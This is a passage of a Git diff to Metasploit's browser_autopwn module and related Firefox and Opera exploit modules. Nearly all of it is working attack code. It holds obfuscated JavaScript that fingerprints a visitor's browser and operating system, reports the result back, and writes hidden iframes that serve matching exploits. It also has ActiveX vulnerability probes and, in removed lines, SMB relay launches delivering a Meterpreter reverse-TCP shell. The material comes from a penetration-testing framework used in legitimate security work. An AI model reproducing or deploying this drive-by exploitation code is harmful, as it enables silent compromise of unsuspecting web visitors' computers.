%r{#{datastore["EXCLUDE"]}} : %r{^$} + framework.exploits.each_module do |name, mod| + if (mod.respond_to?("autopwn_opts") and name =~ m_regex and name !~ e_regex) + next if !(init_exploit(name)) + apo = mod.autopwn_opts + #p apo + apo[:name] = name + if apo[:classid] + # Then this is an IE exploit that uses an ActiveX control, + # build the appropriate tests for it. + method = apo[:vuln_test].dup + apo[:vuln_test] = "" + apo[:ua_name] = ::Msf::Auxiliary::Report::HttpClients::IE + if apo[:classid].kind_of?(Array) # then it's many classids + apo[:classid].each { |clsid| + apo[:vuln_test] << "if (testAXO('#{clsid}', '#{method}')) {\n" + apo[:vuln_test] << " is_vuln = true;\n" + apo[:vuln_test] << "}\n" + } + else + apo[:vuln_test] << "if (testAXO('#{apo[:classid]}', '#{method}')) {\n" + apo[:vuln_test] << " is_vuln = true;\n" + apo[:vuln_test] << "}\n" + end + end + if apo[:javascript] && apo[:ua_name] + if @js_tests[apo[:ua_name]].nil? + @js_tests[apo[:ua_name]] = [] + end + @js_tests[apo[:ua_name]].push(apo) + elsif apo[:javascript] + if @js_tests["generic"].nil? + @js_tests["generic"] = [] + end + @js_tests["generic"].push(apo) + elsif apo[:ua_name] + if @noscript_tests[apo[:ua_name]].nil? + @noscript_tests[apo[:ua_name]] = [] + end + @noscript_tests[apo[:ua_name]].push(apo) + else + if @noscript_tests["generic"].nil? + @noscript_tests["generic"] = [] + end + @noscript_tests["generic"].push(apo) + end + end + end + print_line + print_status("--- Done, found #{@exploits.length} exploit modules") + print_line - ## - # Start all the exploit modules - ## + @js_tests.each { |browser,tests| + tests.sort! {|a,b| b[:rank] <=> a[:rank]} + } + @noscript_tests.each { |browser,tests| + tests.sort! {|a,b| b[:rank] <=> a[:rank]} + } - # TODO: add an Automatic target to all of the Firefox exploits + init_js = ::Rex::Exploitation::ObfuscateJS.new + init_js << <<-ENDJS - # Firefox < 1.0.5 - # requires javascript - # currently only has a windows target - init_exploit('exploit/multi/browser/mozilla_compareto') + #{js_os_detect} + #{js_base64} + function make_xhr() { + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if (! xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } - # Firefox < 1.5.0.5 - # requires java - # requires javascript - # Has targets for Windows, Linux x86, MacOSX x86/PPC, no auto - init_exploit('exploit/multi/browser/mozilla_navigatorjava') + function report_and_get_exploits(detected_version) { + var encoded_detection; + xhr = make_xhr(); + xhr.onreadystatechange = function () { + if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + #{js_debug('"
" + htmlentities(xhr.responseText) + "
"')} + eval(xhr.responseText); + } + }; - # Firefox < 1.5.0.1 - # For now just use the default target of Mac. - # requires javascript - # Has targets for MacOSX PPC and Linux x86, no auto - init_exploit('exploit/multi/browser/firefox_queryinterface') + encoded_detection = new String(); + for (var prop in detected_version) { + #{js_debug('prop + " " + detected_version[prop]')} + encoded_detection += detected_version[prop] + ":"; + } + #{js_debug('encoded_detection + "
"')} + encoded_detection = Base64.encode(encoded_detection); + xhr.open("GET", document.location + "?sessid=" + encoded_detection); + xhr.send(null); + } - # works on iPhone - # does not require javascript - init_exploit('exploit/osx/armle/safari_libtiff') + function bodyOnLoad() { + var detected_version = getVersion(); + //#{js_debug('detected_version')} + report_and_get_exploits(detected_version); + } // function bodyOnLoad + ENDJS - # untested - #init_exploit('exploit/osx/browser/software_update') - # untested - #init_exploit('exploit/windows/browser/ani_loadimage_chunksize') + opts = { + 'Symbols' => { + 'Variables' => [ + 'xhr', + 'encoded_detection', + ], + 'Methods' => [ + 'report_and_get_exploits', + 'handler', + 'bodyOnLoad', + ] + }, + 'Strings' => true, + } - # does not require javascript - init_exploit('exploit/windows/browser/apple_quicktime_rtsp') + init_js.update_opts(opts) + init_js.update_opts(js_os_detect.opts) + init_js.update_opts(js_base64.opts) + if (datastore['DEBUG']) + print_status("Adding debug code") + init_js << <<-ENDJS + if (!(typeof(debug) == 'function')) { + function htmlentities(str) { + str = str.replace(/>/g, '>'); + str = str.replace(/\\n"); + } + } + ENDJS + else + init_js.obfuscate() + end - # requires javascript - init_exploit('exploit/windows/browser/novelliprint_getdriversettings') - - # Works on default IE 6 - # Doesn't work on Windows 2000 SP0 IE 5.0 - # I'm pretty sure keyframe works on everything this works on, but since - # this doesn't need javascript, try it anyway. - # does not require javascript - init_exploit('exploit/windows/browser/ms03_020_ie_objecttype') - - # requires javascript - init_exploit('exploit/windows/browser/ie_createobject') - - # I'm pretty sure keyframe works on everything this works on and more, - # so for now leave it out. - # requires javascript - # init_exploit('exploit/windows/browser/ms06_055_vml_method') - - # Works on default IE 5 and 6 - # requires javascript - # ActiveXObject('DirectAnimation.PathControl') - # classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6 - init_exploit('exploit/windows/browser/ms06_067_keyframe') - - # only works on IE with XML Core Services - # requires javascript - # classid 88d969c5-f192-11d4-a65f-0040963251e5 - init_exploit('exploit/windows/browser/ms06_071_xml_core') - - # Pops up whatever client is registered for .pls files. It's pretty - # obvious to the user when this exploit loads, so leave it out for now. - # does not require javascript - #init_exploit('exploit/windows/browser/winamp_playlist_unc') - - - # untested - init_exploit('exploit/windows/browser/systemrequirementslab_unsafe') - # untested - init_exploit('exploit/windows/browser/lpviewer_url') - # untested - init_exploit('exploit/windows/browser/softartisans_getdrivename') - # untested - init_exploit('exploit/windows/browser/ms08_053_mediaencoder') - # untested - init_exploit('exploit/windows/browser/macrovision_unsafe') - - - # - # Requires UNC path which only seems to work on IE in my tests - # - - # Launch a smb_relay module on port 139 - smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay') - smbr_mod.datastore['LHOST'] = @lhost - smbr_mod.datastore['LPORT'] = (@lport += 1) - smbr_mod.datastore['SRVPORT'] = 139 - smbr_mod.datastore['AutoRunScript'] = 'migrate' - smbr_mod.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Target' => 0, - 'Payload' => 'windows/meterpreter/reverse_tcp', - 'RunAsJob' => true) - - # Launch a second one with port 445 - smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay') - smbr_mod.datastore['LHOST'] = @lhost - smbr_mod.datastore['LPORT'] = (@lport += 1) - smbr_mod.datastore['SRVPORT'] = 445 - smbr_mod.datastore['AutoRunScript'] = 'migrate' - smbr_mod.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Target' => 0, - 'Payload' => 'windows/meterpreter/reverse_tcp', - 'RunAsJob' => true) - - @myhost = datastore['SRVHOST'] - @myport = datastore['SRVPORT'] + init_js << "window.onload = #{init_js.sym("bodyOnLoad")}"; + @init_html = " Loading \n" + @init_html << ' " + @init_html << " " + @init_html << " \n" + @init_html << " " end def on_request_uri(cli, request) print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") - # Create a cached mapping between IP and detected target - @targetcache ||= {} - @targetcache[cli.peerhost] ||= {} - @targetcache[cli.peerhost][:update] = Time.now.to_i - - ## - # Clean the cache -- remove hosts that we haven't seen for more than 60 - # seconds - ## - rmq = [] - @targetcache.each_key do |addr| - if (Time.now.to_i > @targetcache[addr][:update]+60) - rmq.push addr - end - end - rmq.each {|addr| @targetcache.delete(addr) } - #-- - case request.uri - when %r{^#{datastore['URIPATH']}.*sessid=} - record_detection(cli, request) - send_not_found(cli) - when self.get_resource - # - # This is the request for exploits. At this point all we know - # about the target came from the useragent string which could - # have been spoofed, so let the javascript figure out which - # exploits to run. Record detection based on the useragent in - # case javascript is disabled on the target. - # - - record_detection(cli, request) - print_status("Responding with exploits") - - response = build_sploit_response(cli, request) - response['Expires'] = '0' - response['Cache-Control'] = 'must-revalidate' - - cli.send_response(response) - else - print_error("I don't know how to handle this request (#{request.uri}), sending 404") - send_not_found(cli) - return false - end - end - - def run - exploit() - end - - def build_sploit_response(cli, request) - if (!@targetcache[cli.peerhost]) + when self.get_resource + # This is the first request. Send the javascript fingerprinter and + # hope it sends us back some data. If it doesn't, javascript is + # disabled on the client and we will have to do a lot more + # guessing. + response = create_response() + response["Expires"] = "0" + response["Cache-Control"] = "must-revalidate" + response.body = @init_html + cli.send_response(response) + when %r{^#{self.get_resource}.*sessid=} + # This is the request for the exploit page when javascript is + # enabled. Includes the results of the javascript fingerprinting + # in the "sessid" parameter as a base64 encoded string. record_detection(cli, request) - end + print_status("Responding with exploits") + response = build_script_response(cli, request) + cli.send_response(response) + when %r{^#{self.get_resource}.*ns=1} + # This is the request for the exploit page when javascript is NOT + # enabled. Since scripting is disabled, fall back to useragent + # detection, which is kind of a bummer since it's so easy for the + # ua string to lie. It probably doesn't matter that much because + # most of our exploits require javascript anyway. + print_status("Browser has javascript disabled, trying exploits that don't need it") + record_detection(cli, request) + response = build_noscript_response(cli, request) + + cli.send_response(response) + else + print_error("I don't know how to handle this request (#{request.uri}), sending 404") + send_not_found(cli) + return false + end + end + + def build_noscript_response(cli, request) + client_db = get_client(cli.peerhost, request['User-Agent']) + response = create_response() + response['Expires'] = '0' + response['Cache-Control'] = 'must-revalidate' - objects = [] + response.body = " Loading " + response.body << " " - objects += [ - [ 'DirectAnimation.PathControl', 'KeyFrame', exploit_resource('exploit/windows/browser/ms06_067_keyframe') ], - [ 'LPViewer.LPViewer.1', 'URL', exploit_resource('exploit/windows/browser/lpviewer_url') ], - [ '{88D969C5-F192-11D4-A65F-0040963251E5}', 'SetRequestHeader', exploit_resource('exploit/windows/browser/ms06_071_xml_core') ], - [ '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}', 'GetDriverSettings', exploit_resource('exploit/windows/browser/novelliprint_getdriversettings') ], - [ '{BD96C556-65A3-11D0-983A-00C04FC29E36}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{BD96C556-65A3-11D0-983A-00C04FC29E30}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{6414512B-B978-451D-A0D8-FCFDF33E833C}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{06723E09-F4C2-43C8-8358-09FCD1DB0766}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{639F725F-1B2D-4831-A9FD-874847682010}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{BA018599-1DB3-44F9-83B4-461454C84BF8}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{E8CCCDDF-CA28-496B-B050-6C07C962476B}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{0006F033-0000-0000-C000-000000000046}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{0006F03A-0000-0000-C000-000000000046}', 'CreateObject', exploit_resource('exploit/windows/browser/ie_createobject') ], - [ '{67A5F8DC-1A4B-4D66-9F24-A704AD929EEE}', 'Init', exploit_resource('exploit/windows/browser/systemrequirementslab_unsafe') ], - [ '{A8D3AD02-7508-4004-B2E9-AD33F087F43C}', 'GetDetailsString', exploit_resource('exploit/windows/browser/ms08_053_mediaencoder') ], - ] - objects = objects.map{ |arr| "new Array('#{arr[0]}', '#{arr[1]}', '#{arr[2]}')," }.join("\n").chop + @noscript_tests.each { |browser, sploits| + next if sploits.length == 0 + # If get_client failed then we have no knowledge of this host, + # don't assume anything about the browser. If ua_name is nil or + # generic, these exploits need to be sent regardless of browser. + # Either way, we need to send these exploits. + if (client_db.nil? || [nil, browser, "generic"].include?(client_db[:ua_name])) + if (HttpClients::IE == browser) + response.body << "\n" + end + end + } - js = <<-ENDJS - var DEBUGGING = false; + response.body << "Your mom " + response.body << " " - #{js_os_detect} - #{js_base64} - if (!(typeof(debug)== 'function')) { - function debug(msg) { - if (DEBUGGING) { - document.writeln(msg); - } - } - } + return response + end - function send_detection_report(detected_version) { - // ten chars long and all uppercase so we can't possibly step - // on a real version string. - var cruft = "#{Rex::Text.rand_text_alpha_upper(10)}"; - var encoded_detection; - try { xmlhr = new XMLHttpRequest(); } - catch(e) { - try { xmlhr = new ActiveXObject("Microsoft.XMLHTTP"); } - catch(e) { - xmlhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); - } - } - if (! xmlhr) { - return(0); - } - encoded_detection = new String(); - encoded_detection += detected_version.os_name + cruft; - encoded_detection += detected_version.os_flavor + cruft; - encoded_detection += detected_version.os_sp + cruft; - encoded_detection += detected_version.os_lang + cruft; - encoded_detection += detected_version.arch + cruft; - encoded_detection += detected_version.browser_name + cruft; - encoded_detection += detected_version.browser_version; - while (-1 != encoded_detection.indexOf(cruft)) { - encoded_detection = encoded_detection.replace(cruft, ":"); - } - //debug(encoded_detection + "
"); - encoded_detection = Base64.encode(encoded_detection); - //debug(encoded_detection + "
"); - xmlhr.open("GET", document.location + "?sessid=" + encoded_detection, false); - xmlhr.send(null); - } + def build_script_response(cli, request) + response = create_response() + response['Expires'] = '0' + response['Cache-Control'] = 'must-revalidate' - function BodyOnLoad() { - var sploit_frame = ''; - var body_elem = document.getElementById('body_id'); - var detected_version = getVersion(); + client_db = get_client(cli.peerhost, request['User-Agent']) + p client_db + p get_host({:host => cli.peerhost}) - try { - // This function doesn't seem to get created on old - // browsers (specifically, Firefox 1.0), so until I - // can puzzle out why, wrap it in a try block so the - // javascript parser doesn't crap out and die before - // any exploits get sent. - send_detection_report(detected_version); - } catch (e) {} - - if ("#{HttpClients::IE}" == detected_version.browser_name) { - //debug("This is IE
"); - var object_list = new Array(#{objects}); - var vuln_obj; - var written_frames = new Array(); - - // iterate through our list of exploits - debug("I have " + object_list.length + " objects to test
"); - for (var current_object in object_list) { - debug("Testing for object " + current_object + " ... "); - // Don't write the same iframe more than once. This is - // only an issue with ie_createobject which uses a ton of - // different classids to perform the same exploit. - // Assumes that no url will be a substring of another url. - if (-1 != written_frames.toString().indexOf(object_list[current_object][2])) { - debug("Already wrote an iframe for " + object_list[current_object][0] +"
"); - continue; + js = ::Rex::Exploitation::ObfuscateJS.new + # If we didn't get a client database, then the detection is + # borked or the db is not connected, so fallback to sending + # some IE-specific stuff with everything. Otherwise, make + # sure this is IE before sending code for ActiveX checks. + #if (client_db.nil? || client_db[:ua_name] == HttpClients::IE) + if (client_db.nil? || [nil, HttpClients::IE].include?(client_db[:ua_name])) + # If we have a class name (e.g.: "DirectAnimation.PathControl"), + # use the simple and direct "new ActiveXObject()". If we + # have a classid instead, first try creating a the object + # with createElement("object"). However, some things + # don't like being created this way (specifically winzip), + # so try writing out an object tag as well. One of these + # two methods should succeed if the object with the given + # classid can be created. + js << <<-ENDJS + function testAXO(axo_name, method) { + if (axo_name.substring(0,1) == String.fromCharCode(123)) { + axobj = document.createElement("object"); + axobj.setAttribute("classid", "clsid:" + axo_name); + axobj.setAttribute("id", axo_name); + axobj.setAttribute("style", "visibility: hidden"); + axobj.setAttribute("width", "0px"); + axobj.setAttribute("height", "0px"); + document.body.appendChild(axobj); + if (typeof(axobj[method]) == 'undefined') { + var attributes = 'id="' + axo_name + '"'; + attributes += ' classid="clsid:' + axo_name + '"'; + attributes += ' style="visibility: hidden"'; + attributes += ' width="0px" height="0px"'; + document.body.innerHTML += ""; + axobj = document.getElementById(axo_name); } - vuln_obj = ''; - if (object_list[current_object][0].substring(0,1) == '{') { - var name = object_list[current_object][0].substring( 1, object_list[current_object][0].length - 1 ); - //debug("which is a classid
"); - - // classids are stored surrounded in braces for an easy way to tell - // them from ActiveX object names, so if it has braces, strip them - // out and create an object element with that classid - vuln_obj = document.createElement("object"); - vuln_obj.setAttribute("classid", "clsid:" + name); - - vuln_obj.setAttribute("id", name); - } else { - // otherwise, try to create an AXO with that name - try { - vuln_obj = new ActiveXObject(object_list[current_object][0]); - } catch(e){ - vuln_obj = ''; - } - debug("did ActiveXObject("+ object_list[current_object][0] +") and i got a "+ typeof(vuln_obj) +"
"); - } - // javascript lets us access method names like array - // elements, so obj.foo is the same as obj['foo'] - // However, ActiveX objects created with an - // tag don't advertise their methods - // the same way other objects do, i.e., in the example - // above, foo does not show up in - // for (var method in obj) { ... } - // It's still there, you just can't see it. Unfortunately, - // there is no method that all ActiveX objects must - // implement, so as far as I can tell, there is no generic - // way to determine if the object is available. The - // solution is to check for the existence of a method we - // know based on the exploit, e.g. in the case of - // windows/browser/ie_createobject, CreateObject() must - // exist. Methods that don't exist have a - // typeof == 'undefined' whereas exported ActiveX object - // methods have a typeof == 'unknown' - if (typeof(vuln_obj[object_list[current_object][1]]) == 'unknown') { - // then we're golden, write the evil iframe - sploit_frame += '#{build_iframe("' + object_list[current_object][2] + '")}'; - // array.push() is not cross-platform - written_frames[written_frames.length] = object_list[current_object][2]; - //} else if (typeof(vuln_obj[object_list[current_object][1]]) != 'undefined') { - // eval("alert(typeof(vuln_obj."+ object_list[current_object][1] +"));"); - } - } // end for each exploit - } // end if IE - else { - //debug("this is NOT MSIE
"); - if (window.navigator.javaEnabled && window.navigator.javaEnabled()) { - sploit_frame += '#{build_iframe(exploit_resource('exploit/multi/browser/mozilla_navigatorjava'))}'; } else { - //debug("NO exploit/multi/browser/mozilla_navigatorjava"); + try { + axobj = new ActiveXObject(axo_name); + } catch(e) { + axobj = ''; + }; } - if (window.InstallVersion) { - sploit_frame += '#{build_iframe(exploit_resource('exploit/multi/browser/mozilla_compareto'))}'; - } else { - //debug("NO exploit/multi/browser/mozilla_compareto"); + #{js_debug('axo_name + "." + method + " = " + typeof axobj[method] + "
"')} + if (typeof(axobj[method]) != 'undefined') { + return true; } - // eventually this exploit will have an auto target and - // this check won't be necessary - if ("#{OperatingSystems::MAC_OSX}" == detected_version.os_name) { - if (location.QueryInterface) { - sploit_frame += '#{build_iframe(exploit_resource('exploit/multi/browser/firefox_queryinterface'))}'; - } + return false; + } + ENDJS + # End of IE-specific test functions + end + js << <<-ENDJS + var written_iframes = new Array(); + function write_iframe(myframe) { + var iframe_idx; var mybody; + for (iframe_idx in written_iframes) { + if (written_iframes[iframe_idx] == myframe) { + return; } } - if (0 < sploit_frame.length) { - // This is isn't working in IE6. Revert to document.write - // until we can come up with something better - //body_elem.innerHTML += sploit_frame; - document.writeln(sploit_frame); - } - } // function BodyOnLoad - window.onload = BodyOnLoad; + written_iframes[written_iframes.length] = myframe; + str = ''; + str += ''; + str += '

' + myframe + '

'; + document.body.innerHTML += (str); + } ENDJS opts = { - # Strings obfuscation still needs more testing - 'Strings' => true, 'Symbols' => { - 'Variables' => [ - 'current_object', - 'body_elem', 'body_id', - 'object_list', 'vuln_obj', - 'obj_elem', 'sploit_frame', - 'cruft', 'written_frames', - 'detected_version', 'xmlhr', - 'encoded_detection' + 'Variables' => [ + 'written_iframes', + 'myframe', + 'mybody', + 'iframe_idx', + 'is_vuln', ], 'Methods' => [ - 'Hash', 'BodyOnLoad', - 'send_detection_report' + 'write_iframe', ] - } + }, + 'Strings' => true, } - js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) - js.update_opts(js_os_detect.opts) - js.update_opts(js_base64.opts) - js.obfuscate() - - body = "" - - body << "

Loading, please wait...

" - - # - # These are non-javascript exploits, send them with all requests in - # case the ua is spoofed and js is turned off - # - - body << "" - - # image for smb_relay - share_name = Rex::Text.rand_text_alpha(rand(10) + 5) - img_name = Rex::Text.rand_text_alpha(rand(10) + 5) + ".jpg" - body << %Q{ - + @js_tests.each { |browser, sploits| + next if sploits.length == 0 + #print_status("Building sploits for #{client_db[:ua_name]}") + if (client_db.nil? || [nil, browser, "generic"].include?(client_db[:ua_name])) + js << "function exploit#{browser}() { \n" + sploits.map do |s| + if s[:vuln_test] + # Wrap all of the vuln tests in a try-catch block so a + # single borked test doesn't prevent other exploits + # from working. + js << " is_vuln = false;\n" + js << " try {\n" + js << s[:vuln_test] + "\n" + js << " } catch(e) { is_vuln = false; };\n" + js << " if (is_vuln) {" + js << " write_iframe('" + exploit_resource(s[:name]) + "'); " + js << " }\n" + else + js << " write_iframe('" + exploit_resource(s[:name]) + "');\n" + end + end + js << "};\n" # end function exploit...() + js << "#{js_debug("'exploit func: exploit#{browser}()'")}\n" + js << "exploit#{browser}();\n" # run that bad boy + opts['Symbols']['Methods'].push("exploit#{browser}") + end } - body << "
" - body << build_iframe(exploit_resource('exploit/windows/browser/apple_quicktime_rtsp')) - body << build_iframe(exploit_resource('exploit/osx/armle/safari_libtiff')) - body << "
" - response.body = ' Loading ' - response.body << ' ' + body - - response.body << " " + if not datastore['DEBUG'] + js.obfuscate + end + response.body = "#{js}" return response end @@ -512,154 +533,102 @@ class Metasploit3 < Msf::Auxiliary os_lang = nil arch = nil ua_name = nil - ua_vers = nil + ua_ver = nil data_offset = request.uri.index('sessid=') + p request['User-Agent'] if (data_offset.nil? or -1 == data_offset) - print_status("Recording detection from User-Agent") # then we didn't get a report back from our javascript # detection; make a best guess effort from information # in the user agent string. The OS detection should be - # roughly the same as the javascript version because it - # does most everything with navigator.userAgent - - ua = request['User-Agent'] - # always check for IE last because everybody tries to - # look like IE - case (ua) - when /Version\/(\d+\.\d+\.\d+).*Safari/ - ua_name = HttpClients::SAFARI - ua_vers = $1 - when /Firefox\/((:?[0-9]+\.)+[0-9]+)/ - ua_name = HttpClients::FF - ua_vers = $1 - when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/ - ua_name = HttpClients::IE - ua_vers = $1 - end - case (ua) - when /Windows/ - os_name = OperatingSystems::WINDOWS - arch = ARCH_X86 - when /Linux/ - os_name = OperatingSystems::LINUX - when /iPhone/ - os_name = OperatingSystems::MAC_OSX - arch = 'armle' - when /Mac OS X/ - os_name = OperatingSystems::MAC_OSX - end - case (ua) - when /Windows 95/ - os_flavor = '95' - when /Windows 98/ - os_flavor = '98' - when /Windows NT 4/ - os_flavor = 'NT' - when /Windows NT 5.0/ - os_flavor = '2000' - when /Windows NT 5.1/ - os_flavor = 'XP' - when /Windows NT 5.2/ - os_flavor = '2003' - when /Windows NT 6.0/ - os_flavor = 'Vista' - when /Gentoo/ - os_flavor = 'Gentoo' - when /Debian/ - os_flavor = 'Debian' - when /Ubuntu/ - os_flavor = 'Ubuntu' - end - case (ua) - when /PPC/ - arch = ARCH_PPC - when /i.86/ - arch = ARCH_X86 - end - - print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name} #{os_flavor}") + # roughly the same as the javascript version on non-IE + # browsers because it does most everything with + # navigator.userAgent + print_status("Recording detection from User-Agent") + report_user_agent(cli.peerhost, request) else - print_status("Recording detection from JavaScript") data_offset += 'sessid='.length detected_version = request.uri[data_offset, request.uri.length] if (0 < detected_version.length) detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) - print_status("Report: #{detected_version}") - (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_vers) = detected_version.split(':') + print_status("JavaScript Report: #{detected_version}") + (os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') + report_host( + :host => cli.peerhost, + :os_name => os_name, + :os_flavor => os_flavor, + :os_sp => os_sp, + :os_lang => os_lang, + :arch => arch + ) + report_client( + :host => cli.peerhost, + :ua_string => request['User-Agent'], + :ua_name => ua_name, + :ua_ver => ua_ver + ) + report_note( + :host => cli.peerhost, + :type => 'http_request', + :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_ver}" + ) end end - arch ||= ARCH_X86 - report_host( - :host => cli.peerhost, - :os_name => os_name, - :os_flavor => os_flavor, - :os_sp => os_sp, - :os_lang => os_lang, - :arch => arch, - :ua_name => ua_name, - :ua_vers => ua_vers - ) - report_note( - :host => cli.peerhost, - :type => 'http_request', - :data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_vers}" - ) + # If the database is not connected, use a cache instead + if (!get_client(cli.peerhost, request['User-Agent'])) + print_status("No database, using targetcache instead") + @targetcache ||= {} + @targetcache[cli.peerhost] ||= {} + @targetcache[cli.peerhost][:update] = Time.now.to_i - end + # Clean the cache + rmq = [] + @targetcache.each_key do |addr| + if (Time.now.to_i > @targetcache[addr][:update]+60) + rmq.push addr + end + end + rmq.each {|addr| @targetcache.delete(addr) } - def report_host(opts) - - @targetcache[opts[:host]][:os_name] = opts[:os_name] - @targetcache[opts[:host]][:os_flavor] = opts[:os_flavor] - @targetcache[opts[:host]][:os_sp] = opts[:os_sp] - @targetcache[opts[:host]][:os_lang] = opts[:os_lang] - @targetcache[opts[:host]][:arch] = opts[:arch] - @targetcache[opts[:host]][:ua_name] = opts[:ua_name] - @targetcache[opts[:host]][:ua_vers] = opts[:ua_vers] - - super(opts) - end - - # This or something like it should probably be added upstream in Msf::Exploit::Remote - def get_target_os(cli) - if framework.db.active - host = framework.db.get_host(nil, cli.peerhost) - res = host.os_name - elsif @targetcache[cli.peerhost] and @targetchace[cli.peerhost][:os_name] - res = @targetcache[cli.peerhost][:os_name] - else - res = OperatingSystems::UNKNOWN + # Keep the attributes the same as if it were created in + # the database. + @targetcache[cli.peerhost][:update] = Time.now.to_i + @targetcache[cli.peerhost][:ua_string] = request['User-Agent'] + @targetcache[cli.peerhost][:ua_name] = ua_name + @targetcache[cli.peerhost][:ua_ver] = ua_ver end - return res end - # This or something like it should probably be added upstream in Msf::Exploit::Remote - def get_target_arch(cli) - if framework.db.active - host = framework.db.get_host(nil, cli.peerhost) - res = host.arch - elsif @targetcache[cli.peerhost][:arch] - res = @targetcache[cli.peerhost][:arch] - else - res = ARCH_X86 - end - return res + # Override super#get_client to use a cache in case the database + # is not available + def get_client(host, ua) + return super(host, ua) || @targetcache[host] end def build_iframe(resource) ret = '' - #ret << "

#{resource}

" + #ret << "

iframe #{resource}

" ret << "" + #ret << "" return ret end - def exploit_resource(mod) - if (@exploits[mod]) - return @exploits[mod].get_resource + def exploit_resource(name) + if (@exploits[name] && @exploits[name].respond_to?("get_resource")) + #print_line("Returning '#{@exploits[name].get_resource}', for #{name}") + return @exploits[name].get_resource else - return "404.html" + print_error("Don't have an exploit by that name, returning 404#{name}.html") + return "404#{name}.html" end end + + def js_debug(msg) + if datastore['DEBUG'] + return "document.body.innerHTML += #{msg};" + end + return "" + end end + diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 47da12a1d7..62d03f5645 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_ver => "3.5", + :os_name => OperatingSystems::WINDOWS, + :javascript => true, + :rank => NormalRanking, # reliable memory corruption + :vuln_test => nil, + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption', diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 05f5bb5ab9..ae149b5e62 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::FF, + :ua_ver => "1.0", + :os_name => OperatingSystems::WINDOWS, + :javascript => true, + :rank => NormalRanking, # reliable memory corruption + :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }", + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution', diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index 3053a4ba4c..e96b35da43 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -10,16 +10,27 @@ ## +require 'msf/core/constants' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - # - # This module acts as an HTTP server - # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::FF, + :javascript => true, + :rank => NormalRanking, # reliable memory corruption + :vuln_test => %Q| + is_vuln = false; + if (window.navigator.javaEnabled && window.navigator.javaEnabled()){ + is_vuln = true; + } + |, + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution', diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb new file mode 100644 index 0000000000..281ef4e3b9 --- /dev/null +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -0,0 +1,154 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + + # + # This module acts as an HTTP server + # + include Msf::Exploit::Remote::HttpServer::HTML + + include 